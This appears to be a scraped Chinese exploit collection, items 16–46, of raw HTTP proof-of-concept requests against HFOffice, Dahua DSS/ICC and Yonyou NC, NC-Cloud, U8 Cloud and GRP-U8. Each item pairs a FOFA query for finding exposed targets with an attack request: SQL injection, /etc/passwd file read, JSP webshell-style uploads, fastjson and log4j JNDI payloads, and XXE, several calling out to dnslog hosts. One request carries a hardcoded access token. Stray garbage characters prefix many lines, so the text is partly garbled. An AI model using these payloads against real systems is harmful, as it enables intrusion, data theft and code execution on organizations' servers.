8 X8 `1 P. l8 M9 ~' H) ^' ?) U! x
* Q! M/ m1 k& Z8 ?$ y6 \16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
7 |" A  b$ P! ?" Jpoc中调用函数计算1234的md5值
: P' f3 V9 @8 [% W' }8 dGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
3 k! n( Q$ B& \% p1 zHost: x.x.x.x
- i3 B" o# o4 dUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
. z- l7 o; Z" Y6 u) @Accept: */*
; {9 ^( {# R) s$ GAccept-Language: en
Accept-Encoding: gzip
3 K2 N/ k$ F, ~. E* `7 O4 D

! {  y. t& H. w# G7 V% U17. 大华 DSS itcBulletin SQL 注入
4 e- T, G5 k& s4 YFOFA：app="dahua-DSS"
6 ?2 S. z  x2 i7 \& S/ mPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
( T" O7 \4 x: V) B- ^! s! ^3 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
6 t$ p1 d# i4 v$ V5 @Accept-Encoding: gzip
8 @6 }+ G: s- r9 P
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
" [$ d, M- c4 n. t) s) H( ^, H<s11:Body>
- z- ^3 q. Y4 ?& K) W    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
& M0 e, M' ~2 d. X& e) `+ a& Z  </s11:Body>
. t. m$ P  ]2 k</s11:Envelope>


6 ^+ g* o$ j. q# N. Q, q( x! N4 C18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
# C8 w4 S1 ]5 j  F' qHost: your-ip
. t$ m7 C' c! R4 I4 M( e/ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
. t: I# ]2 u1 J  b9 ^Accept: */*
6 C% x- c) q  L8 a$ m5 \Connection: keep-alive


* C: W& x0 x" `0 W
! C& Z: Y$ y2 H! L4 ]$ K19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
0 C+ H: e0 {$ u8 B! i0 VGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
1 C: D' a7 y+ {: TAccept: */*
Connection: keep-alive

2 q3 a+ h& L5 L
# I. h7 W( O! f# p$ e20. 大华ICC智能物联综合管理平台任意文件读取
0 {/ F% E: g$ UFOFA：body="*客户端会小于800*"
7 i* p2 s7 a$ R& wGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- T0 ^# V9 i! |1 U7 RConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

) L& r3 V2 j5 I% M4 t. ~( X6 D- N
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
( k& j. E2 e- B% e$ ^4 Y# HPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
  Q( q. x8 Q' |1 P- f" e
; d1 q2 t# H% q" j$ F, I{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
# S& g- U( m! V7 ?5 ~8 h# d2 G  }""
, z0 H# }7 H$ w' g}


8 g  j; [) q, n9 a! g) I: n1 H. S22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
9 Y3 }! ]+ y& f. d* K# ^
{
"loginName":"${jndi:ldap://dnslog}"
}
3 W2 p% r' M+ }5 F: q
! e+ i( \1 Q# T+ a1 R) d3 a
; Y0 j6 G! q9 U# O( a! i4 l
) V. ]" G' _, A: \23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
" B+ H0 T" u" Q1 ~1 |' ^Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# j7 j) B; _( ]+ a0 N7 @9 G* GContent-Type: application/json;charset=utf-8
; Q; @6 J5 Z( L& ~; gAccept-Encoding: gzip
Connection: close
8 W9 E) c: l5 p$ t
{
/ s- |7 t3 g& X2 [  c; I: y    "a":{
4 _( i, b' H1 F7 j, e; E        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
1 }( Y: T( f6 f' g/ y        }""
}
& W! b2 d& M  p2 A7 J" `

3 d- G1 a6 ^* P1 J24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
7 N) w9 E! q$ t) s! H# KUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
' t6 }2 r7 s) r1 _6 `+ FConnection: close
4 l' [! `5 l; N- lContent-Length: 449
& \8 B) K* v9 h9 eAccept: */*
Accept-Encoding: gzip
0 E: \- N- ]4 i3 q8 |: ?Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
8 c3 B% ^6 {5 d' |* E$ k
4 O6 _: w% ]" n5 }5 u6 T6 U-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
! N/ ]$ ]2 d, _! KContent-Type: text/plain

- ]5 t! z2 v" \( `) M<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
7 K" x' m, V4 p! R4 W4 k" T% m-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
: ~6 ~4 _1 H& S% _- aContent-Disposition: form-data; name="fname"

) b0 R, U* W+ L9 s- B* @# f  D$ I\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
: i5 d8 B) U+ f2 e' m-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


0 ~' o0 P3 j5 `6 f% k0 m25. 用友NC registerServlet JNDI 远程代码执行
8 y/ K- R( p! EFOFA：app="用友-UFIDA-NC"
) K' E0 B; P& ]( o( `8 a' f& X: F+ PPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
7 O4 [: u) ?# @7 a( s" P9 x- WAccept-Encoding: gzip, deflate
8 e- V  N% ^; a7 Q0 cAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
0 z# b4 D6 s' h: HContent-Type: application/x-www-form-urlencoded

/ b/ {. X3 B) R! i+ e' ntype=1&dsname=ldap://dnslog

1 a- L2 X, f! O2 ]8 ^: Z& K7 r, v3 @
- T! H( Y5 E5 U) ?& O! c4 Y
0 T) J  I$ R; w; q3 Q26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
( a( x  F7 y/ P3 |' ]GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: O  m& F. d# x2 K7 e$ ^Host: your-ip
7 ~' e: d2 l6 k( ~; lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' w  s7 S7 \( E, G# k& lContent-Type: application/x-www-form-urlencoded
0 i0 s1 ], s& `3 aAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

, n* e; L0 b+ U$ H
27. 用友 NC showcontent SQL注入
# P0 r: ~+ K/ R7 I+ Z7 J) h2 {FOFA：icon_hash="1085941792"
- F1 e: x- F& X7 p) I; z& bGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
, s8 g# c; c; w0 J; s) q& THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
0 k  E* z6 u# H* eConnection: close
Content-Type: text/xml; charset=utf-8
5 m/ K; r5 u+ t' n! [

# u3 S! q) @( r- ~# E2 a) C  o28. 用友NC grouptemplet 任意文件上传
$ E+ U; u2 v5 o8 cFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
8 m$ g! A+ b( b& O- P2 uHost: x.x.x.x
% ~0 y  L* A. ]% U" _* iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 T; a, }7 `9 BConnection: close
- F6 r% Q7 o1 Y: e% O% l4 cContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
5 a7 i. }* J0 h: |! XAccept-Encoding: gzip
8 m. o& x( G  Z! f* |% G' G
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
; ?5 n; |6 ^( r9 C$ G. YContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
2 s- S6 k! K5 @Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
% x/ L  l1 {+ a------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
% d5 [* ?# r/ _% Z

8 O' O; y; K& |& j' a/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- d: g# O6 a' y  g0 }6 M% WGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
6 i3 k9 u# G7 W, e' x5 T2 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 P- J, O& v8 d9 q( yContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

( D* K; K  o8 u7 y- r3 X
% s3 P- x4 g: Y0 A  i2 I8 U30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
" Q; p9 N1 j0 T  ~* o$ MHost: your-ip
; x! K: H! b, L0 s' WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
% K1 P2 V* j" X8 M: h; t/ s2 xConnection: close
- s8 W5 k7 Q- u0 V
. [7 G( F+ m8 Z------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
7 H2 v' Y% B  E$ a% m& P" R; x& gContent-Type: image/jpeg
2 p: Q/ ]8 q2 U2 I$ I- |! ~9 w------WebKitFormBoundaryH970hbttBhoCyj9V--
0 L' U6 y1 i: L/ W

4 [0 x# ^# s7 G6 t" R31. 用友NC runStateServlet SQL注入
version<=6.5
/ D+ |/ H6 A5 \FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
  M, m; G* @) V( Q3 X6 W% WGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! A5 K+ |7 y5 U9 l  I$ N( EHost: host
' I8 n$ T# M/ y' @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
' S8 U7 v& v/ n  i9 S  n" JContent-Type: application/x-www-form-urlencoded
) S- @8 o: E1 M: D# p) G6 H

% I- \1 ~! I& \: r32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
2 i6 k/ o. c" d7 l- ZFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 S( l- _3 ~3 m. @% _( r8 u2 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 Z* S# y. A! K5 Q0 RAccept-Encoding: gzip, deflate
& K' b! q' C0 M* D& V2 NAccept: */*
Connection: keep-alive
# {9 D9 Q9 q$ H, {; S" R1 X1 ?

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
( _9 B1 z! e1 O; e9 T3 HGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, L5 S& @  J0 b* n  aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* J- N2 ~9 ~9 s; J: p! K. P4 B  TAccept-Encoding: gzip, deflate
: N0 Y/ k* Y( g4 C8 a8 g  [7 ZAccept: */*
5 O  o' Z- @6 w, ], uConnection: keep-alive

6 L# |/ }% U2 p# q7 M
34. 用友NC warningDetailInfo接口SQL注入
- G8 r2 S" X1 S+ }FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 j( ]8 K# c, \1 s# v$ y) ^$ o/ u% c! {Content-Type: application/x-www-form-urlencoded
- Y5 O6 @" t% m; _Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! P& }4 l+ ?$ }/ w% W/ M0 C
( |. F2 l/ b0 c5 d/ o# P- k
, P1 r2 V& \: ?. _( z2 P35. 用友NC-Cloud importhttpscer任意文件上传
6 g5 K7 P/ M3 vFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
: m7 s+ X  k9 @/ d& k- k* tUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
% F; \6 K3 l! `( eAccept-Encoding: gzip, deflate
& ~) s: [% Z! A9 `& PAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

, d% ^' a' |- B4 q" i* _<%out.println(1111*1111);%>
1 O# d$ Q+ h- Y6 ]5 Q) `3 F--fd28cb44e829ed1c197ec3bc71748df0--
. r4 T7 g0 u) r8 M# J. ]% L8 K

36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
) v1 b) m: ]$ H2 n8 G5 eHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
- [/ a$ t5 N8 L- J" }9 s5 o1 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ W8 ]+ i9 k" \# W! vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
6 `& [# m) h4 x1 a1 W+ K  y8 D) zContent-Type: application/x-www-form-urlencoded
" G; k/ r& t+ R6 {( B8 OUpgrade-Insecure-Requests: 1
9 N! b8 r) \; X. |; m" g& _; S3 u
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


6 _9 |5 r% a% j8 F7 b37. 用友NC-Cloud IUpdateService XXE
+ Q. ^4 c, `  w4 a) }( HFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 e9 M3 ~% A1 H. M: X2 J. P- C) {POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
7 d8 T3 g$ n0 [Content-Length: 421
/ n1 [+ ?8 J  s: eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
9 A2 e5 O: s( |  H1 KSOAPAction: urn:getResult
; f" O, G% J5 V+ }( v0 mUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
; H; w" e# y! H! {) q3 `, x<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
; `* R% i) \% a<xxx/>]]></iup:string>
, u( h7 L, h1 Y1 W5 b</iup:getResult>
/ U3 _8 D; ^" n# W" w8 ?7 D; V</soapenv:Body>
3 ?! ?7 v2 ]( K1 q</soapenv:Envelope>
; U- V* u4 R- Z" ^

+ ^& v; Z4 I6 V$ c/ }
' c! B7 F4 O' }3 c: I& N7 B38. 用友U8 Cloud smartweb2.RPC.d XXE
/ m( O* [, l5 V+ l$ AFOFA：app="用友-U8-Cloud"
1 S8 ]- Y7 J* r) c  U+ s1 W( [POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
" d" D- b- D+ E2 t4 T2 F$ TContent-Length: 260
/ n. y$ N0 y  R5 N  L: S" \+ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
2 d$ f' m/ J% [& Z. n/ a+ T) ~: sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) u3 [7 T9 M  HConnection: close
/ e9 U+ I% V9 X, b; u2 _2 tContent-Type: application/x-www-form-urlencoded
, z% A4 C& J% R
/ J* `; Y# h# x* s& r* e__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
  `% w' ]  U( P+ w7 `' e8 s

39. 用友U8 Cloud RegisterServlet SQL注入
2 Z! G" \8 z3 m( R7 U& hFOFA：title="u8c"
' R: C6 s' n" X5 p, w0 S- tPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! b* r  b0 k+ bConnection: close
  s) H& C  b# a) k4 XContent-Length: 85
" r* U3 h+ v" [1 o  I# P4 FAccept: */*
6 a& N( ]. D7 C* \: _# eAccept-Language: en
% u# v0 E1 n8 U. ^2 G8 a1 ?Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
) Y2 R; _9 [8 a1 c* q3 n& b1 J
6 t3 ?, r. h/ e, K3 Dusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


' h7 ?3 r, L0 J4 M& y) N. i0 x+ q' c: p40. 用友U8-Cloud XChangeServlet XXE
. F/ h+ Q8 O% C( E: @2 _FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
% M, C$ b1 ?% a$ y2 SConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
  k/ S, Q* @3 Q2 n0 c. [) g

1 i; j' S! k" L: g/ t7 y7 z( d, r41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
9 f# ^2 V( s3 V/ bFOFA：app="用友-U8-Cloud"
: C  U9 _% i) B3 t) y  xGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
/ R, c6 H+ n+ x. n' BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
# B9 [! v' j( C& W1 I0 AAccept-Encoding: gzip
Connection: close

8 d5 S) C5 z; ?( T
1 b/ H$ Q  _  ?% G& e* z42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
; o  G1 U, t! NPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
0 _- i3 [, y/ Z1 u1 j2 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
6 o5 L# Z8 _6 n7 \
- W( h! q6 G0 o  K! f4 N* r, W, HPAYLOAD


# S0 _* h2 n4 ^# h1 f! ?http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
  x+ c* Q5 K8 X5 c% I- L/ I
/ n9 j- s' p9 `# s2 d0 W43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
/ {; h; q# v" J0 D* J2 g$ \POST /services/userInfoWeb HTTP/1.1
Host: your-ip
) f+ D: m4 @7 `& C, ^" q: uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 {: }4 s$ r9 j) EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' A% D9 _2 s  ]' S" K: ~Accept-Encoding: gzip, deflate
5 l% X* I9 I' e6 {" I2 SAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
# h. X  i7 g9 e" ]Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
% e& e5 Q4 A! c   <soapenv:Header/>
4 I9 G1 v, p) }  }( e   <soapenv:Body>
5 V  Y- g9 ?7 b! k      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
% M4 Y: U, c  I$ a         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
( n1 p" `0 i8 y3 r* r' k      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
! v  w1 a9 E' W3 n1 P+ {/ Z! Z
. M8 c1 o$ Y! A' S0 ]! y
3 T9 ?7 i+ y' i# d8 ?0 w4 V8 f& H9 ^44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
" Y7 X, [8 [4 Y; c- Z6 A7 [& ~Host: your-ip
% ]+ O3 _4 K9 c. r' c7 M, lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
1 X- [' u5 Y, I5 g- Z9 s1 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; p( x% N1 @) N  T! |* A  |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
; V  z5 g$ O4 V$ l7 qFOFA：app="用友-GRP-U8"
  ]" T& x: A/ ]8 m1 }$ j9 NPOST /ufgovbank HTTP/1.1
. P; r* v7 e3 \+ |Host: 192.168.40.130:222
$ L& U: X. C  d( z  bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
, X: F; ]: M+ pConnection: close
8 z; f4 c, h6 Z  ?1 N" U3 ?1 KContent-Length: 161
) Y8 t: U+ h+ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
) J! a6 v% E! y. `# }Accept-Encoding: gzip

; r, D+ ~2 M- T8 h, M3 NreqData=<?xml version="1.0"?>
! Y. j8 z$ c: n<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
9 l$ g8 Z3 t- ]6 d- EGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
" X6 D  L6 U+ Y% Q& lHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
